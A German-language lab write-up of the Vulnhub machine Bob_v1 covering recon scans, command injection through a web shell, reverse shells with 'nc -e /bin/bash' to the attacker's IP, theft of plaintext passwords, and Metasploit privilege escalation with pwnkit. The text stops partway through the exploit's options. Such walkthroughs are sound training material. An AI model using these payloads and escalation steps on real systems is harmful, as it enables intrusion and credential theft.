Bob_v1 - Vulnhub - Level: Medium - Bericht

Medium



Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
msfconsole
nc
wget

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit ARP-Scans, um aktive Hosts im Netzwerk zu identifizieren. Anschließend nutzen wir Nmap, um offene Ports und Dienste zu erkennen und eine erste Einschätzung der Sicherheitslage zu erhalten. Ziel ist es, ein umfassendes Bild der Angriffsfläche zu bekommen.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# arp-scan -l
192.168.2.138 08:00:27:c0:cc:74 PCS Systemtechnik GmbH

Der ARP-Scan hat einen Host mit der IP-Adresse 192.168.2.138 identifiziert. Dies ist ein vielversprechender erster Schritt.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# nmap -sS -sC -T5 -AO 192.168.2.138 -p- | grep open
21/tcp open ftp ProFTPD 1.3.5b
80/tcp open http Apache httpd 2.4.25 ((Debian))
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)

Nmap zeigt, dass die Ports 21 (FTP), 80 (HTTP) und 25468 (SSH) offen sind. Das FTP und SSH verwundbar sind, werden wir uns auf HTTP konzentrieren, um potenzielle Schwachstellen im Webserver zu finden. Der alternative SSH-Port könnte auf eine bewusste Konfigurationsänderung hindeuten und ist ebenfalls interessant.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.138 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 22:08 CEST
Nmap scan report for bob.vuln (192.168.2.138)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
| 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_ 256 391656fb4e0f508540d3532241433815 (ED25519)
MAC Address: 08:00:27:C0:CC:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.12 ms bob.vuln (192.168.2.138)

Der vollständige Nmap-Scan bestätigt die offenen Ports und liefert zusätzliche Informationen, wie z.B. den HTTP-Server-Header und Einträge in der robots.txt-Datei. Die robots.txt-Datei ist besonders interessant, da sie potenziell sensible Pfade wie /login.php, /dev_shell.php, /lat_memo.html und /passwords.html offenbart. Wir werden diese Pfade später genauer untersuchen.

Web Enumeration

In dieser Phase konzentrieren wir uns auf die Enumeration des Webservers, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden. Wir verwenden Tools wie wfuzz und nikto, um die Webanwendung zu durchsuchen und Informationen zu sammeln.

Zuerst besuchen wir die entdeckte dev_shell.php im Browser, um sie manuell zu testen.

http://bob.vuln//dev_shell.php

Die dev_shell.php scheint eine Art Entwicklungsschnittstelle zu sein, die wir später genauer untersuchen werden.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://bob.vuln//dev_shell.php?FUZZ=id" --hc 400,401,402,403,404 --hh 658
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://bob.vuln//dev_shell.php?FUZZ=id
Total requests: 220555

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================


Total time: 0
Processed Requests: 220555
Filtered Requests: 220555
Requests/sec.: 0

Der Wfuzz-Scan mit der Parameter-Fuzzing-Methode gegen die dev_shell.php lieferte keine brauchbaren Ergebnisse. Das bedeutet, dass wir auf diesem Weg keine offensichtlichen Schwachstellen finden konnten.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.138
+ Target Hostname: 192.168.2.138
+ Target Port: 80
+ Start Time: 2023-06-14 22:08:45 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/passwords.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/lat_memo.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/dev_shell.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /: Server may leak inodes via ETags, header found with file /, inode: 591, size: 5669af30ee8f1, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.html: Admin login page/section found.
+ 8106 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2023-06-14 22:09:07 (GMT2) (22 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto findet einige interessante Punkte: Das Fehlen von Clickjacking- und Content-Type-Headern, die Offenlegung von Inodes über ETags, eine veraltete Apache-Version und das Vorhandensein einer Admin-Login-Seite. Diese Informationen könnten uns später helfen, die Sicherheit des Servers zu kompromittieren. Besonders hervorzuheben ist, dass Nikto die in der robots.txt genannten Pfade als nicht-verboten oder umleitend identifiziert, was bedeutet, dass sie für uns zugänglich sind.

Wir untersuchen nun die robots.txt-Datei genauer.

http://192.168.2.138/robots.txt
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html

Die robots.txt-Datei bestätigt die Existenz der Pfade /login.php, /dev_shell.php, /lat_memo.html und /passwords.html. Obwohl sie als "Disallow" gekennzeichnet sind, haben wir bereits festgestellt, dass sie zugänglich sind.

Wir untersuchen nun die /passwords.html Seite.

http://192.168.2.138/passwords.html
Alex
Dean MacDuffy
Robert
Donald
Rebeka

Phone: +61-358-164-7828
Email: mainoffice@milburghigh.com

Email: dean.m@milburghigh.com
Email: paul.k@milburghigh.com
Email: daniel.r@milburghigh.com
Email: alex.f@milburghigh.com
Email: robert.k@milburghigh.com
Email: admin@milburghigh.com
Email: seb.w@milburghigh.com
Email: elliot.a@protonmail.com
Email: jc@milburghigh.com

Die /passwords.html-Seite enthält scheinbar Kontaktinformationen von Mitarbeitern. Dies könnte nützlich sein, um potenzielle Benutzernamen für Brute-Force-Angriffe zu sammeln.

Initial Access

In dieser Phase versuchen wir, einen ersten Zugang zum System zu erhalten. Wir nutzen die gesammelten Informationen, um potenzielle Schwachstellen auszunutzen und uns einen Fuß in das System zu setzen.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# nmap -sS -sC -T5 -AO 192.168.2.138 -p- | grep open
21/tcp open ftp ProFTPD 1.3.5b
80/tcp open http Apache httpd 2.4.25 ((Debian))
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)

Zur Erinnerung: Die Ports 21 (FTP), 80 (HTTP) und 25468 (SSH) sind offen.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# ftp 192.168.2.138
Connected to 192.168.2.138.
220 ProFTPD 1.3.5b Server (Debian) [::ffff:192.168.2.138]
Name (192.168.2.138:cyber): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed

Der Versuch, sich anonym per FTP anzumelden, schlägt fehl. Dies deutet darauf hin, dass anonyme Anmeldungen deaktiviert sind.

Wir finden eine Notiz mit folgenden inhalt auf der seite:

http://bob.vuln//lat_memo.html
Really who made this file at least get a hash of your
password to display, hackers can't do anything with a
hash, this is probably why we had a security breach in
the first place. Comeon people this is basic 101 security!
I have moved the file off the server. Don't make me have to
clean up the mess everytime someone does something as stupid
as this. We will have a meeting about this and other stuff I
found on the server. >:(
-Bob

Diese Notiz deutet auf frühere Sicherheitsprobleme hin und dass der Administrator "Bob" unzufrieden mit der Sicherheitslage ist. Es wird auch erwähnt, dass eine Datei vom Server entfernt wurde.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.138 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.138/index.html (Status: 200) [Size: 1425]
http://192.168.2.138/news.html (Status: 200) [Size: 4086]
http://192.168.2.138/contact.html (Status: 200) [Size: 3145]
http://192.168.2.138/about.html (Status: 200) [Size: 2579]
http://192.168.2.138/login.html (Status: 200) [Size: 1560]
http://192.168.2.138/robots.txt (Status: 200) [Size: 111]
http://192.168.2.138/passwords.html (Status: 200) [Size: 673]

==============================================================================================================================

Gobuster findet die bereits bekannten Dateien und Verzeichnisse. Dies bestätigt, dass wir keine offensichtlichen versteckten Pfade übersehen haben.

Wir finden eine Notiz mit folgenden inhalt auf der seite:

http://bob.vuln//lat_memo.html
If you are the new IT staff I have sent a letter to you about a
web shell you can use -Bob

Der Hinweiß von Bob, das wir ein Web Shell benutzen können, hat uns dazu bewogen die dev_shell.php noch mal anzuschauen.

http://bob.vuln//dev_shell.php
dev_shell
Command: id&ls

WIP.jpg about.html contact.html dev_shell.php dev_shell.php.bak dev_shell_back.png index.html index.html.bak lat_memo.html login.html news.html passwords.html robots.txt school_badge.png
uid=33(www-data) gid=33(www-data) groups=33(www-data),100(users)

Die dev_shell.php ermöglicht die Ausführung von Systembefehlen. Dies ist eine kritische Schwachstelle, die wir ausnutzen können, um eine Reverse Shell zu erhalten.

Wir versuchen eine Reverse Shell zu bekommen, indem wir folgenden Befehl eingeben.

http://bob.vuln//dev_shell.php
Payload = Command: id&nc -e /bin/bash 192.168.2.137 5555

Wir richten einen Listener auf Port 5555 ein, um die Reverse Shell zu empfangen.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.138] 50950

**Fantastisch!** Die Reverse Shell war erfolgreich. Wir sind jetzt als `www-data` angemeldet.

www-data@Milburg-High:/var/www/html$ ls -la
total 1572
drwxr-xr-x 2 root root 4096 Mar 8 2018 .
drwxr-xr-x 3 root root 4096 Feb 28 2018 ..
-rw-r--r-- 1 root root 84 Mar 5 2018 .hint
-rw-r--r-- 1 root root 340400 Mar 4 2018 WIP.jpg
-rw-r--r-- 1 root root 2579 Mar 8 2018 about.html
-rw-r--r-- 1 root root 3145 Mar 4 2018 contact.html
-rw-r--r-- 1 root root 1396 Mar 4 2018 dev_shell.php
-rw-r--r-- 1 root root 1361 Mar 4 2018 dev_shell.php.bak
-rw-r--r-- 1 root root 1177950 Mar 4 2018 dev_shell_back.png
-rw-r--r-- 1 root root 1425 Mar 4 2018 index.html
-rw-r--r-- 1 root root 1425 Mar 4 2018 index.html.bak
-rw-r--r-- 1 root root 1925 Mar 4 2018 lat_memo.html
-rw-r--r-- 1 root root 1560 Mar 4 2018 login.html
-rw-r--r-- 1 root root 4086 Mar 4 2018 news.html
-rw-r--r-- 1 root root 673 Mar 8 2018 passwords.html
-rw-r--r-- 1 root root 111 Mar 4 2018 robots.txt
-rw-r--r-- 1 root root 26357 Mar 4 2018 school_badge.png

Wir überprüfen den Inhalt des aktuellen Verzeichnisses. Interessant ist die Datei ".hint".

www-data@Milburg-High:/var/www/html$ cat .hint
Have you tried spawning a tty shell?
Also don't forget to check for hidden files ;)

Der Hinweis legt nahe, eine TTY-Shell zu erzeugen und versteckte Dateien zu überprüfen.

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff auf das System zu erhalten. Wir suchen nach Konfigurationsfehlern, ausnutzbaren Diensten oder anderen Schwachstellen, die uns helfen könnten, unsere Ziele zu erreichen.

Wir überprüfen, welche Befehle der Benutzer `www-data` mit `sudo` ausführen darf.

www-data@Milburg-High:/var/www/html$ sudo -l
Matching Defaults entries for www-data on Milburg-High:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on Milburg-High:
(ALL) NOPASSWD: /usr/bin/service apache2 *
(root) NOPASSWD: /bin/systemctl start ssh

Der Benutzer `www-data` darf die Befehle `/usr/bin/service apache2 *` und `/bin/systemctl start ssh` ohne Passwort als Root ausführen. Dies ist eine potenzielle Möglichkeit zur Privilege Escalation.

Wir suchen nach SUID-Dateien, die möglicherweise zur Privilege Escalation ausgenutzt werden können.

www-data@Milburg-High:/opt$ find / -type f -perm -4000 -ls 2>/dev/null
274333 44 -rwsr-xr-- 1 root messagebus 42992 Oct 1 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
395476 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
289859 16 -rwsr-xr-x 1 root root 14856 May 24 2017 /usr/lib/policykit-1/polkit-agent-helper-1
435175 12 -rwsr-sr-x 1 root root 10576 Oct 14 2017 /usr/lib/xorg/Xorg.wrap
281726 432 -rwsr-xr-x 1 root root 440728 Nov 18 2017 /usr/lib/openssh/ssh-keysign
281290 996 -rwsr-xr-x 1 root root 1019656 Feb 10 2018 /usr/sbin/exim4
290430 360 -rwsr-xr-- 1 root dip 365960 Nov 11 2016 /usr/sbin/pppd
265180 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
262240 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
262241 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
296687 140 -rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
289856 24 -rwsr-xr-x 1 root root 23352 May 24 2017 /usr/bin/pkexec
262237 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
262238 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
252 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
769 60 -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
257 32 -rwsr-xr-x 1 root root 31720 Mar 22 2017 /bin/umount
256 44 -rwsr-xr-x 1 root root 44304 Mar 22 2017 /bin/mount
950 144 -rwsr-xr-x 1 root root 146128 Feb 26 2017 /bin/ntfs-3g
943 32 -rwsr-xr-x 1 root root 30800 Jun 23 2016 /bin/fusermount

Die Liste der SUID-Dateien ist umfangreich. Wir werden diese später genauer untersuchen, um potenzielle Angriffspunkte zu finden.

Wir überprüfen die Berechtigungen der `/etc/passwd`-Datei.

www-data@Milburg-High:/opt$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2327 Mar 4 2018 /etc/passwd

Die `/etc/passwd`-Datei ist nur für Root beschreibbar.

Wir suchen nach Dateien mit aktivierten Capabilities.

www-data@Milburg-High:/opt$ getcap -r 2>/dev/null

Es wurden keine Dateien mit aktivierten Capabilities gefunden.

Wir untersuchen die Home-Verzeichnisse der Benutzer.

www-data@Milburg-High:/opt$ ls -la /home/
total 24
drwxr-xr-x 6 root root 4096 Mar 4 2018 .
drwxr-xr-x 22 root root 4096 Mar 5 2018 ..
drwxr-xr-x 18 bob bob 4096 Mar 8 2018 bob
drwxr-xr-x 15 elliot elliot 4096 Feb 27 2018 elliot
drwxr-xr-x 15 jc jc 4096 Feb 27 2018 jc
drwxr-xr-x 15 seb seb 4096 Mar 5 2018 seb

Es gibt die Home-Verzeichnisse der Benutzer bob, elliot, jc und seb. Wir werden zuerst das Home-Verzeichnis von "bob" untersuchen.

www-data@Milburg-High:/opt$ cd /home/bob/
www-data@Milburg-High:/home/bob$ ls -la
total 172
drwxr-xr-x 18 bob bob 4096 Mar 8 2018 .
drwxr-xr-x 6 root root 4096 Mar 4 2018 ..
-rw------- 1 bob bob 1980 Mar 8 2018 .ICEauthority
-rw------- 1 bob bob 214 Mar 8 2018 .Xauthority
-rw------- 1 bob bob 6403 Mar 8 2018 .bash_history
-rw-r--r-- 1 bob bob 220 Feb 21 2018 .bash_logout
-rw-r--r-- 1 bob bob 3548 Mar 5 2018 .bashrc
drwxr-xr-x 7 bob bob 4096 Feb 21 2018 .cache
drwx------ 8 bob bob 4096 Feb 27 2018 .config
-rw-r--r-- 1 bob bob 55 Feb 21 2018 .dmrc
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 .ftp
drwx------ 3 bob bob 4096 Mar 5 2018 .gnupg
drwxr-xr-x 3 bob bob 4096 Feb 21 2018 .local
drwx------ 4 bob bob 4096 Feb 21 2018 .mozilla
drwxr-xr-x 2 bob bob 4096 Mar 4 2018 .nano
-rw-r--r-- 1 bob bob 72 Mar 5 2018 .old_passwordfile.html
-rw-r--r-- 1 bob bob 675 Feb 21 2018 .profile
drwx------ 2 bob bob 4096 Mar 5 2018 .vnc
-rw-r--r-- 1 bob bob 25211 Mar 8 2018 .xfce4-session.verbose-log
-rw-r--r-- 1 bob bob 27563 Mar 7 2018 .xfce4-session.verbose-log.last
-rw------- 1 bob bob 3672 Mar 8 2018 .xsession-errors
-rw------- 1 bob bob 2866 Mar 7 2018 .xsession-errors.old
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Desktop
drwxr-xr-x 3 bob bob 4096 Mar 5 2018 Documents
drwxr-xr-x 3 bob bob 4096 Mar 8 2018 Downloads
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Music
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Pictures
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Public
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Templates
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Videos

Die Datei `.old_passwordfile.html` ist vielversprechend. Wir werden sie uns genauer ansehen.

www-data@Milburg-High:/home/bob$ cat .old_passwordfile.html
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3

**Bingo!** Hier finden wir potenziell gültige Passwörter für die Benutzer jc und seb. Das Passwort für "seb" sieht stark aus, während das Passwort für "jc" sehr einfach ist.

Wir versuchen, uns als der Benutzer "seb" anzumelden.

www-data@Milburg-High:/home/bob$ su seb
Password:
seb@Milburg-High:/home/bob$ sudo -l
Matching Defaults entries for seb on Milburg-High:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User seb may run the following commands on Milburg-High:
(ALL) NOPASSWD: /usr/bin/service apache2 *
(root) NOPASSWD: /bin/systemctl start ssh

Der Benutzer `seb` darf die gleichen Befehle wie `www-data` ohne Passwort als Root ausführen.

Wir versuchen, den SSH-Dienst als Root zu starten.

seb@Milburg-High:/home/bob$ sudo -u root ssh -o ProxyCommand=';sh 0<&2 1>&2' x
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for seb:
Sorry, user seb is not allowed to execute '/usr/bin/ssh -o ProxyCommand=;sh 0<&2 1>&2 x' as root on Milburg-High.speedport.ip.

Der Versuch, den SSH Dienst zu Starten war nicht erfolgreich.

Wir finden die Datei theadminisdumb.txt.

seb@Milburg-High:/home/elliot$ cat theadminisdumb.txt
The admin is dumb,
In fact everyone in the IT dept is pretty bad but I can’t blame all of them the newbies Sebastian and James are quite new to managing a server so I can forgive them for that password file they made on the server. But the admin now he’s quite something. Thinks he knows more than everyone else in the dept, he always yells at Sebastian and James now they do some dumb stuff but their new and this is just a high-school server who cares, the only people that would try and hack into this are script kiddies. His wallpaper policy also is redundant, why do we need custom wallpapers that doesn’t do anything. I have been suggesting time and time again to Bob ways we could improve the security since he “cares” about it so much but he just yells at me and says I don’t know what i’m doing. Sebastian has noticed and I gave him some tips on better securing his account, I can’t say the same for his friend James who doesn’t care and made his password: Qwerty. To be honest James isn’t the worst bob is his stupid web shell has issues and I keep telling him what he needs to patch but he doesn’t care about what I have to say. it’s only a matter of time before it’s broken into so because of this I have changed my password to

theadminisdumb

I hope bob is fired after the future second breach because of his incompetence. I almost want to fix it myself but at the same time it doesn’t affect me if they get breached, I get paid, he gets fired it’s a good time.

Die Datei enthält ein neues Passwort für den Benutzer Elliot.

seb@Milburg-High:/home/elliot$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 20 127.0.0.1:25 *:*
LISTEN 0 128 *:25468 *:*
LISTEN 0 128 :::80 :::*
LISTEN 0 32 :::21 :::*
LISTEN 0 20 ::1:25 :::*
LISTEN 0 128 :::25468 :::*

Die Liste der Listening Ports.

seb@Milburg-High:/home/elliot$ cd /var/mail/
seb@Milburg-High:/var/mail$ ls -la
total 12
drwxrwsr-x 2 root mail 4096 Feb 21 2018 .
drwxr-xr-x 12 root root 4096 Feb 28 2018 ..
-rw-rw---- 1 c0rruptedb1t mail 3487 Feb 21 2018 c0rruptedb1t

Die E-Mail Datei mit dem Benutzernamen c0rruptedb1t ist aufgefallen.

Wir versuchen jetzt, die E-mail mit wget herunterzuladen, dafür müssen wir einen kleinen Webserver mit Python starten.

seb@Milburg-High:/var/mail$ python3 -m http.server 8005
Serving HTTP on 0.0.0.0 port 8005 ...
192.168.2.137 - - [14/Jun/2023 17:28:27] code 404, message File not found
192.168.2.137 - - [14/Jun/2023 17:28:27] "GET /c0rruptedb1t HTTP/1.1" 404 -
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# wget http://bob.vuln:8005/c0rruptedb1t
--2023-06-14 23:28:27-- http://bob.vuln:8005/c0rruptedb1t
Auflösen des Hostnamens bob.vuln (bob.vuln)… 192.168.2.138
Verbindungsaufbau zu bob.vuln (bob.vuln)|192.168.2.138|:8005 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 404 File not found
2023-06-14 23:28:27 FEHLER 404: File not found.

Der versuch die Email herunterzuladen schlug fehl.

Wir benutzen nun das Metasploit Framework.

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.

=[ metasploit v6.3.16-dev ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: When in a module, use back to go
back to the top level prompt
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target



View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:4444
seb@Milburg-High:/home/jc$ cd /tmp/
seb@Milburg-High:/tmp$ nc -e /bin/bash 192.168.2.137 4444
[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Command shell session 1 opened (192.168.2.137:4444 -> 192.168.2.138:37544) at 2023-06-14 23:34:20 +0200
id
uid=1003(seb) gid=1003(seb) groups=1003(seb),100(users)
msf6 exploit(multi/handler) > search shell to meterpreter
msf6 exploit(multi/handler) > use 58
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.138
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.138:53452) at 2023-06-14 23:36:31 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Um eine vollständige Kontrolle über das System zu erlangen, verwenden wir das Modul `shell_to_meterpreter`, um unsere bestehende Shell-Session in eine Meterpreter-Session umzuwandeln. Meterpreter bietet erweiterte Funktionen und ermöglicht uns, weitere Exploits auszuführen und Informationen zu sammeln.

Jetzt benutzen wir das Modul suggester.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.138 - Collecting local exploits for x86/linux...
[*] 192.168.2.138 - 184 exploit checks are being tried...
[+] 192.168.2.138 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[*] Running check method for exploit 12 / 57


[*] 192.168.2.138 - Valid modules for session 2:
============================

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
3 exploit/linux/local/exim4_deliver_message_priv_esc Yes The target appears to be vulnerable.
4 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
6 exploit/linux/local/su_login Yes The target appears to be vulnerable.

Der Exploit Suggester hat mehrere potenzielle Exploits gefunden, darunter `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`, der als "vulnerable" eingestuft wird. Dies ist ein vielversprechender Kandidat für die Privilege Escalation.

Wir versuchen jetzt das Exploit zu benutzen.

sf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.137 yes The listen address (an interface may be specified)
